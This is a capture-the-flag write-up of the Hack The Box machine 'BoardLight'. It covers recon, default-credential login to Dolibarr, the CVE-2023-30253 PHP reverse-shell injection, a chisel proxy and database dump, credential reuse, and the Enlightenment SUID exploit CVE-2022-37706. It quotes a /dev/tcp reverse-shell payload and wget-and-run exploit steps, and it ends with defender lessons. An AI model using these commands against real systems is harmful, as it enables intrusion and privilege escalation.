BoardLight

INTRODUCTION

BoardLight was the 6th box in HTB’s Season V Anomalies. It’s an easy Linux box, focused on a web hosting platform. As far as I can tell, its name and icon have nothing to do with the box itself. Unfortunately, I was away when the box was released, and kicking myself for it - it would have been great to have such easy points on the scoreboard!

Recon is very quick. Whatweb reveals the domain of the target, and a quick scan for subdomains will reveal the vulnerable web app. From there, default credentials grant you entry to the web app dashboard. While the dashboard itself isn’t immediately useful, the credentials are helpful for the Authenticated RCE exploit that you can apply to the web app to gain a foothold.

A small amount of local enumeration will lead you towards a helpful config file with some database credentials. While the database itself leads you down a tempting rabbit-hole, the actual path forward is through credential reuse - this will grant you access to the first user with terminal access on the box.

The privesc vector on Boardlight isn’t quite as obvious as some boxes, but proper local enumeration (especially searching for files with special privileges) will lead you in the right direction. Once you find the thing that stands out as “odd”, a little research will bring you to a public PoC exploit for gaining a root shell. The exploit should work right away - the only trick here is in actually finding the privesc vector.

title picture

RECON

nmap scans

Port scan

For this box, I’m running my typical enumeration strategy. I set up a directory for the box, with a nmap subdirectory. Then set $RADDR to the target machine’s IP, and scanned it with a simple but broad port scan:

sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan-tcp.txt $RADDR
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Script scan

To investigate a little further, I ran a script scan over the TCP ports I just found:

TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 06:2d:3b:85:10:59:ff:73:66:27:7f:0e:ae:03:ea:f4 (RSA)
|   256 59:03:dc:52:87:3a:35:99:34:44:74:33:78:31:35:fb (ECDSA)
|_  256 ab:13:38:e4:3e:e0:24:b4:69:38:a9:63:82:38:dd:f4 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).

Vuln scan

Now that we know what services might be running, I’ll do a vulnerability scan:

sudo nmap -n -Pn -p$TCPPORTS -oN nmap/vuln-scan-tcp.txt --script 'safe and vuln' $RADDR

No significant results.

UDP scan

To be thorough, I also did a scan over the common UDP ports:

sudo nmap -sUV -T4 -F --version-intensity 0 -oN nmap/port-scan-udp.txt $RADDR
PORT      STATE         SERVICE        VERSION
68/udp    open|filtered tcpwrapped
80/udp    open|filtered tcpwrapped
88/udp    open|filtered kerberos-sec
120/udp   open|filtered tcpwrapped
158/udp   open|filtered tcpwrapped
623/udp   open|filtered asf-rmcp
1027/udp  open|filtered tcpwrapped
1645/udp  open|filtered tcpwrapped
1813/udp  open|filtered tcpwrapped
1900/udp  open|filtered upnp
2049/udp  open|filtered nfs
5353/udp  open|filtered zeroconf
5632/udp  open|filtered pcanywherestat
17185/udp open|filtered wdbrpc
49192/udp open|filtered unknown

Note that any open|filtered ports are either open or (much more likely) filtered.

Webserver Strategy

I’ll start with banner grabbing and whatweb:

whatweb --aggression 3 http://$DOMAIN && curl -IL http://$RADDR

whatweb

The email suggests the domain is board.htb, so I’ll add that to /etc/hosts now for convenience:

DOMAIN=board.htb
echo "$RADDR $DOMAIN" | sudo tee -a /etc/hosts

☝️ I use tee instead of the append operator >> so that I don’t accidentally blow away my /etc/hosts file with a typo of > when I meant to write >>.

Next I performed subdomain enumeration, using the assumed domain of board.htb:

WLIST=/usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.$DOMAIN" -c -t 60 -o fuzzing/vhost-$DOMAIN.md -of md -timeout 4 -ic -ac -v

subdomain enumeration

Great, that looks like an actual result. Let’s add it to /etc/hosts:

echo "$RADDR crm.$DOMAIN" | sudo tee -a /etc/hosts

I’ll move on to directory enumeration for both board.htb and crm.board.htb:

WLIST="/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt"
ffuf -w $WLIST:FUZZ -ic -u http://$DOMAIN/FUZZ -t 80 -c -o ffuf-directories-root -of json -timeout 4 -v

directory enumeration 1

board.htb seems like a pretty typical website - nothing special. Now I’ll check crm.board.htb:

ffuf -w $WLIST:FUZZ -ic -u http://crm.$DOMAIN/FUZZ -t 80 -c -o ffuf-directories-crm -of json -timeout 4 -v -fw 20

☝️ Results with 20 words had to be filtered-out. They seemed like false-positives

directory enumeration 2

Only the index page seemed useful. Next, let’s manually explore these two websites.

Exploring the Website

The board.htb website itself doesn’t seem to be very interesting. I don’t see anything actually interactible. It seems like just a static landing page:

index page

The part that actually does seem interesting is crm.board.htb. What we get there is a login for a system called Dolibarr, running version 17.0.0:

crm subdomain login

I had never heard of this system, so I clicked the Need help or support link, which links /support/index.php and from there to the official site. As they describe, Dolibarr is:

“a modular software (we only activate the functions that we want) of business management which adapts to the size of your company (SME, Large companies, Frelancers or associations).

It’s an OpenSource project built by the addition of modules (you only enable the features you need), on a WAMP, MAMP or LAMP server (Apache, Mysql, PHP for all Operating Systems). Dolibarr was developed to try to offer an ERP and CRM suite with the main goal of simplicity”

Taking a quick look through their forum, I found someone asking about default credentials after installation. According to the answer, there are technically no default creds, but there may be one if someone is running Dolibarr using a preconfigured docker container or something like that.

So let’s try the default creds from the container I found on dockerhub: admin : admin

dolibarr dashboard 1

That got us past the login, but seems like we don’t have permissions for anything. However, if you click on the profile button, then Card, the resulting page (/user/card.php?id=2) shows we actually have some permissions:

Note the direct object reference of id=2. I should come back and fuzz this later, to see if there are other users.

💡 I wrote a small tool to do something really similar on Freelancer - I can probably reuse a bunch of that code!

dolibarr perms

I don’t immediately see a way to do any of the things listed under Users & Groups, so I’ll try out the Websites stuff first:

adding a website

It says to generate a preview, you need to load or initialize a template. I clicked Import website template and used one of the provided templates, “NoImg”.

jimbob site

I tried the Test/deploy on web link, but ultimately it seems like the vhost is misconfigured, because it still links to board.htb.

FOOTHOLD

Vulnerability Research

Now that I’ve identified an exact version of Dolibarr (v17.0.0 - visible from the login page), I’ll see if there are any notable vulnerabilities. Searching for “dolibarr cve poc exploit” led to tons of results, including one PoC for CVE-2023-30253 that is specific to version 17.0.0.

CVE-2023-30253

Reading through the PoC I found, it seems that the exploit, with everything else stripped away, is to insert a PHP system() call into the page of a website:

# ...
    	"<section id=\"mysection1\" contenteditable=\"true\">\n"
        "    <?pHp system(\"bash -c 'bash -i >& /dev/tcp/" + lhost + "/" + lport + " 0>&1'\"); ?>\n"
        "</section>\n"
# ...

We can also see that it bypasses a very weak filter that eliminates <?php tags from the provided html content.

Let’s try it out! First, I’ll establish a reverse shell listener:

sudo ufw allow from $RADDR to any port 4444 proto tcp
bash
nc -lvnp 4444

Next, I’ll obtain and run the PoC exploit, using the admin : admin credentials from earlier:

git clone https://github.com/nikn0laty/Exploit-for-Dolibarr-17.0.0-CVE-2023-30253.git
cd Exploit-for-Dolibarr-17.0.0-CVE-2023-30253
python3 exploit.py http://crm.board.htb admin admin 10.10.14.12 4444

using PoC exploit

It worked perfectly, without any fuss:

reverse shell

Upgrade the shell

I’ll quickly upgrade my shell, to make this a little more comfortable. See my guide on upgrading the shell for more detail:

python3 -c 'import pty; pty.spawn("/bin/bash")'
[ctrl+z] stty raw -echo; fg [Enter] [Enter]
export TERM=xterm-256color
export SHELL=bash
stty rows 35 columns 120
alias ll="ls -lah"

USER FLAG

Local enumeration - www-data

I’ll follow my usual Linux User Enumeration strategy. To keep this walkthrough as brief as possible, I’ll omit the actual procedure of user enumeration, and instead just jot down any meaningful results:

  • The only users with terminal access are root and larissa. The user flag must be at /home/larissa/user.txt, but I can’t access it as www-data

  • The target has the following useful applications: nc, netcat, curl, wget, python3, perl, php

  • There’s some weird SUID/SGID binaries:

    find / -type f \( -perm -4000 -o -perm -2000 \) -exec ls -l {} \; 2>/dev/null | grep -v '/proc'
    
    suid executables

Usual user enumeration aside - the reverse shell opened at /var/www/html/crm.board.htb/htdocs/public/website The number and arrangement of subdirectories makes me thing that I’m looking at a bunch of Dolibarr modules.

Searching for some kind of configuration file, I traversed to the parent directory and looked around there. Then, in /var/www/html/crm.board.htb/htdocs I found something interesting:

local enum webserver

Theres exactly one directory that’s newer than all the rest: conf. Seems like a good thing to check out. Inside it, we find conf.php - clearly a configuration file for the Dolibarr system:

👇 I’ve omitted any commented-out config variables, to make this shorter

<?php
$dolibarr_main_url_root='http://crm.board.htb';
$dolibarr_main_document_root='/var/www/html/crm.board.htb/htdocs';
$dolibarr_main_url_root_alt='/custom';
$dolibarr_main_document_root_alt='/var/www/html/crm.board.htb/htdocs/custom';
$dolibarr_main_data_root='/var/www/html/crm.board.htb/documents';
$dolibarr_main_db_host='localhost';
$dolibarr_main_db_port='3306';
$dolibarr_main_db_name='dolibarr';
$dolibarr_main_db_prefix='llx_';
$dolibarr_main_db_user='dolibarrowner';
$dolibarr_main_db_pass='serverfun2$2023!!';
$dolibarr_main_db_type='mysqli';
$dolibarr_main_db_character_set='utf8';
$dolibarr_main_db_collation='utf8_unicode_ci';
// Authentication settings
$dolibarr_main_authentication='dolibarr';

// Security settings
$dolibarr_main_prod='0';
$dolibarr_main_force_https='0';
$dolibarr_main_restrict_os_commands='mysqldump, mysql, pg_dump, pgrestore';
$dolibarr_nocsrfcheck='0';
$dolibarr_main_instance_unique_id='ef9a8f59524328e3c36894a9ff0562b5';
$dolibarr_mailing_limit_sendbyweb='0';
$dolibarr_mailing_limit_sendbycli='0';

$dolibarr_main_distrib='standard';

Great! Seems like checking the database is a good next step.

Accessing the database

🚫 This part did not lead towards the solution. Skip ahead to the credential reuse section if you’re short on time.

The following section shows the internals of the Dolibarr database though, which some readers may find interesting.

While I could probably access the MySQL database locally, it would be more comfortable to do it via a proxy. That way, I can just run the MySQL client from my attacker machine to access the database running on the target.

Chisel SOCKS5 proxy

To make it easier to access the MySQL database, I’ll set up a SOCKS proxy using chisel. I’ll begin by opening a firewall port and starting the chisel server:

☝️ Note: I already have proxychains installed, and my /etc/proxychains.conf file ends with:

...
socks5  127.0.0.1 1080
#socks4 127.0.0.1 9050
sudo ufw allow from $RADDR to any port 8000,9999 proto tcp
simple-server 8000 -v &  # Serve a copy of chisel via http
./chisel server --port 9999 --reverse

Then, on the target machine, start up the chisel client and background it:

mkdir -p /tmp/.Tools && cd /tmp/.Tools
wget http://10.10.14.12:8000/chisel && chmod +x chisel
./chisel client 10.10.14.2:9999 R:1080:socks &

From my attacker machine, I should be able to access the database via the proxy now:

proxychains mysql -h 127.0.0.1 -D 'dolibarr' -u 'dolibarrowner' -p
# Use password: serverfun2$2023!!

mysql tables

There are a lot of tables listed, but the llx_user table looks like it might have some creds:

describe llx_user;

The table has a bunch of fields, so let’s just select the important stuff:

SELECT entity, admin, employee, login, pass_encoding, pass, pass_crypted, pass_temp, api_key, email FROM llx_user;

users table dump

Interesting - it looks like dolibarr is the actual admin, while admin is not! We also got two password hashes, and an API key for admin.

Password cracking

🚫 This part did not lead towards the solution. Skip ahead to the credential reuse section if you’re short on time.

Let’s put these hashes into a file and start cracking:

cracking hashes

I also tried it with hashcat:

hashcat -m 3200 --username hashes.txt /usr/share/wordlists/rockyou.txt

I let that run for a few minutes, which is usually plenty for an HTB box - but still I had no result. Perhaps I’m not meant to crack these? I have database access, so what else can I do besides crack the hashes..? 🤔

Password reset

🚫 This part did not lead towards the solution. Skip ahead to the credential reuse section if you’re short on time.

The following shows a fun way to get full access to the Dashboard though, which some readers may find interesting.

💡 Well, I saw the pass and pass_temp fields in the llx_user table. Perhaps if I set them to something other than NULL, we can effectively force a password reset?

I’ll update the table with a known value for the pass and pass_temp fields, for the dolibarr user:

update temp pass

Next, I’ll try logging in again at crm.board.htb but this time using the dolibarr user and the known password I just inserted (Password123@):

dolibarr login

😂 It worked perfectly!

However, I don’t see anything particularly useful for granting me additional access. Since I’ve already gained a reverse shell as www-data, would further exploitation of the web app lead to anything else? I suspect not - I’ll continue with local enumeration for now.

Credential reuse

In my excitement about the database, I neglected to check for credential re-use. Since we now know the username of the user with terminal access, I’ll start there:

🤦‍♂️ I can’t believe I forgot to check for credential reuse again! I need to force myself to be more methodical

ssh larissa@$RADDR  # Use password: serverfun2$2023!!

ssh as larissa

Hahaha wow - woops! Should have checked that as soon as I found the credential 😂

As expected, the user flag is at /home/larissa/user.txt. Feel free to cat it for some points:

cat user.txt

ROOT FLAG

Local enumeration - larissa

Before I go through my usual local enumeration procedure, I want to take another look at those weird SUID binaries I found while enumerating www-data. I have a pretty good feel of what the “normal” set of SUID binaries on a linux system are - and these are definitely out of the ordinary!

find / -type f \( -perm -4000 -o -perm -2000 \) -exec ls -l {} \; 2>/dev/null | grep -v '/proc'

This shows three binaries:

  • /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys
  • /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_ckpasswd
  • /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_backlight

Even though these aren’t on the $PATH, I tried running them. They each reported something along the lines of:

“This is an internal tool for Enlightenment. do not use it.”

Hmph. I’ll do what I want!

Enlightenment

I wasn’t really sure what Enlightenment actually is, so I did a bit of searching. This brought me to the official site, which sums it up:

"Enlightenment is a Window Manager, Compositor and Minimal Desktop for Linux (the primary platform), BSD and any other compatible UNIX system."

As far as I understand, that means it’s basically an alternative to GNOME, KDE, or LXDE. That still doesn’t really answer my original question: why those SUID binaries are present.

To learn more about the Enlightenment SUID binaries, I tried searching for one of them: “enlightenment_sys”. Much to my amazement, the entry in the search results was a repo on github, MaherAzzouzi/CVE-2022-37706-LPE-exploit. ​It’s like the search engine read my mind! 😲 ​

CVE-2022-37706 is specifically a vulnerability in enlightenment_sys; it mishandles pathnames starting with /dev/... The exploit is actually pretty quirky. It works by tricking enlightnment into mounting a file containing “/bin/sh” into a directory as root, thus popping a root shell.

Let’s try out the exploit!

cd exploit
git clone https://github.com/MaherAzzouzi/CVE-2022-37706-LPE-exploit.git
cd CVE-2022-37706-LPE-exploit
python3 -m http.server 8000

Then, from the target (as larissa), we download the exploit and run it:

mkdir /tmp/.Tools2; cd /tmp/.Tools2
wget http://10.10.14.12:8000/exploit.sh
chmod +x exploit.sh
./exploit.sh

Once again, without any fuss the exploit works perfectly:

privesc exploit

And there’s the root flag. Read it to finish off the box:

cat /root/root.txt

🌵 That was easy!

CLEANUP

Target

I’ll get rid of the spot where I place my tools, /tmp/.Tools:

rm -rf /tmp/.Tools
rm -rf /tmp/.Tools2

Attacker

It’s a good policy to get rid of any extraneous firewall rules I may have defined. This one-liner just deletes all the ufw rules:

NUM_RULES=$(($(sudo ufw status numbered | wc -l)-5)); for (( i=0; i<$NUM_RULES; i++ )); do sudo ufw --force delete 1; done; sudo ufw status numbered;

I’ll also manually clean up my /etc/hosts:

vim /etc/hosts

LESSONS LEARNED

two crossed swords

Attacker

  • 📧 Email addresses divulge their domain. On this box, I didn’t immediately see any indication of the board.htb domain, so I very nearly skipped doing any subdomain enumeration. After all, if there’s no domain to check, then there’s no need to scan for subdomains, right? Thankfully, my whatweb check revealed the contact email address, which informed me of the domain that the site was using!

  • 🔑 Credential reuse. I’m the worst for this, but any time you find a new credential, check every known account for credential reuse! I can’t believe I forgot this again. Oh well, at least I remembered eventually 🤷‍♂️ ​

two crossed swords

Defender

  • 📆 Containerize webservers. The vulnerability that led to foothold was just a pretty basic arbitrary file upload vulnerability. This could have been prevented by server-level blacklisting of harmful PHP function calls. However, it would be wise to also add in an extra layer of protection by containerizing the whole webserver. That way, if RCE is gained by an attacker, the consequences of the intrusion is much more limited. Why do I suggest both of these? Because it spreads the honus of defence between both the developer (of Dolibarr) and the administrator (of the hosting site).

  • 🌀 Beware SUID binaries owned by root. There’s a very limited set of applications that should be set to SUID/SGID - those applications have been rigorously tested and vetted by your operating system. In this case, I find it hard to understand why Enlightenment seems to think it’s justified to install extras to the system.


Thanks for reading

🤝🤝🤝🤝
@4wayhandshake